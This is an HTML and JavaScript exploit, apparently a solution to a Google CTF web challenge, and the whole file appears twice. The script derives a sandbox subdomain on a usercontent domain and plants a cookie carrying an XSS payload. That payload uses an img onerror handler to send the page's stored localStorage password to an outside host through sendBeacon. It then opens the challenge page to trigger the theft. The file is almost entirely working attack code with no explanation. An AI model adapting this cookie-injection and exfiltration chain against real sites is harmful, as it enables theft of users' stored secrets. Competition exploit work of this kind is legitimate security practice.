betrisey/exploit-game-arcade.html

## exploit-game-arcade.html
<!DOCTYPE html>
<html>
  <body>
    <script>
      function arrayToBase36(arr) {
        return arr
          .reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
          .toString(36);
      }

      function concatBuffers(...buffers) {
        let length = 0;
        for (const buf of buffers) {
          length += buf.byteLength;
        }
        const newBuf = new Uint8Array(length);
        let offset = 0;
        for (const buf of buffers) {
          newBuf.set(new Uint8Array(buf), offset);
          offset += buf.byteLength;
        }
        return newBuf.buffer;
      }

      async function calculateHash(...parts) {
        const encoder = new TextEncoder();
        const newParts = [];
        for (let i = 0; i < parts.length; i++) {
          const part = parts[i];
          if (typeof part === "string") {
            newParts.push(encoder.encode(part).buffer);
          } else {
            newParts.push(part);
          }
          if (i < parts.length - 1) {
            newParts.push(encoder.encode("$@#|").buffer);
          }
        }
        const buffer = concatBuffers(...newParts);
        const hash = await crypto.subtle.digest("SHA-256", buffer);
        return arrayToBase36(new Uint8Array(hash))
          .padStart(50, "0")
          .slice(0, 50);
      }

      (async function() {
        if (!crypto.subtle) {
          await import(
            "https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.11.0/sha256.min.js"
          );
          crypto.subtle = {
            digest: async function (c, body) {
              var hash = sha256.create();
              hash.update(body);
              return hash.arrayBuffer();
            },
          };
        }

        const mimeType = "text/html;charset=utf-8";
        const xss = `<img src=0 onerror="navigator.sendBeacon('https://sam.ninja/flag', localStorage.password)">`;
        const body = `
        <script>
          document.cookie="password=${escape(xss)};Domain=.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog";
        <`+`/`+`script>
        `;
        const product = "google-ctf";
        const hash = await calculateHash(product, body, window.origin);

        const url = new URL(
          `http://${hash}-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html`
        );
        url.searchParams.set("origin", window.origin);
        url.searchParams.set("cache", "1");

        const safeWindow = window.open(url, "_blank");

        const loadedPromise = new Promise((resolve) => {
          const interval = setInterval(() => {
            const messageChannel = new MessageChannel();
            messageChannel.port1.onmessage = () => {
              resolve();
              clearInterval(interval);
            };
            safeWindow.postMessage(1, url.origin, [messageChannel.port2]);
          }, 100);
        });

        loadedPromise.then(() => {
          const messageChannel = new MessageChannel();
          messageChannel.port1.onmessage = (e) => {
            console.log(e.data);
          };
          safeWindow.postMessage(
            { body, mimeType, salt: new TextEncoder().encode(body).buffer },
            url.origin,
            [messageChannel.port2]
          );
        });

        setTimeout(() => {
          open("https://game-arcade-web.2024.ctfcompetition.com/#1");
        }, 2000);
      })();
    </script>
  </body>
</html>
	<!DOCTYPE html>
	<html>
	<body>
	<script>
	function arrayToBase36(arr) {
	return arr
	.reduce((a, b) => BigInt(256) * a + BigInt(b), BigInt(0))
	.toString(36);
	}

	function concatBuffers(...buffers) {
	let length = 0;
	for (const buf of buffers) {
	length += buf.byteLength;
	}
	const newBuf = new Uint8Array(length);
	let offset = 0;
	for (const buf of buffers) {
	newBuf.set(new Uint8Array(buf), offset);
	offset += buf.byteLength;
	}
	return newBuf.buffer;
	}

	async function calculateHash(...parts) {
	const encoder = new TextEncoder();
	const newParts = [];
	for (let i = 0; i < parts.length; i++) {
	const part = parts[i];
	if (typeof part === "string") {
	newParts.push(encoder.encode(part).buffer);
	} else {
	newParts.push(part);
	}
	if (i < parts.length - 1) {
	newParts.push(encoder.encode("$@#\|").buffer);
	}
	}
	const buffer = concatBuffers(...newParts);
	const hash = await crypto.subtle.digest("SHA-256", buffer);
	return arrayToBase36(new Uint8Array(hash))
	.padStart(50, "0")
	.slice(0, 50);
	}

	(async function() {
	if (!crypto.subtle) {
	await import(
	"https://cdnjs.cloudflare.com/ajax/libs/js-sha256/0.11.0/sha256.min.js"
	);
	crypto.subtle = {
	digest: async function (c, body) {
	var hash = sha256.create();
	hash.update(body);
	return hash.arrayBuffer();
	},
	};
	}

	const mimeType = "text/html;charset=utf-8";
	const xss = `<img src=0 onerror="navigator.sendBeacon('https://sam.ninja/flag', localStorage.password)">`;
	const body = `
	<script>
	document.cookie="password=${escape(xss)};Domain=.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog";
	<`+`/`+`script>
	`;
	const product = "google-ctf";
	const hash = await calculateHash(product, body, window.origin);

	const url = new URL(
	`http://${hash}-h641507400.0ta1gxvglkyjct11uf3lvr9g3b45whebmhcjklt106au2kgy3e-h641507400.scf.usercontent.goog/google-ctf/shim.html`
	);
	url.searchParams.set("origin", window.origin);
	url.searchParams.set("cache", "1");

	const safeWindow = window.open(url, "_blank");

	const loadedPromise = new Promise((resolve) => {
	const interval = setInterval(() => {
	const messageChannel = new MessageChannel();
	messageChannel.port1.onmessage = () => {
	resolve();
	clearInterval(interval);
	};
	safeWindow.postMessage(1, url.origin, [messageChannel.port2]);
	}, 100);
	});

	loadedPromise.then(() => {
	const messageChannel = new MessageChannel();
	messageChannel.port1.onmessage = (e) => {
	console.log(e.data);
	};
	safeWindow.postMessage(
	{ body, mimeType, salt: new TextEncoder().encode(body).buffer },
	url.origin,
	[messageChannel.port2]
	);
	});

	setTimeout(() => {
	open("https://game-arcade-web.2024.ctfcompetition.com/#1");
	}, 2000);
	})();
	</script>
	</body>
	</html>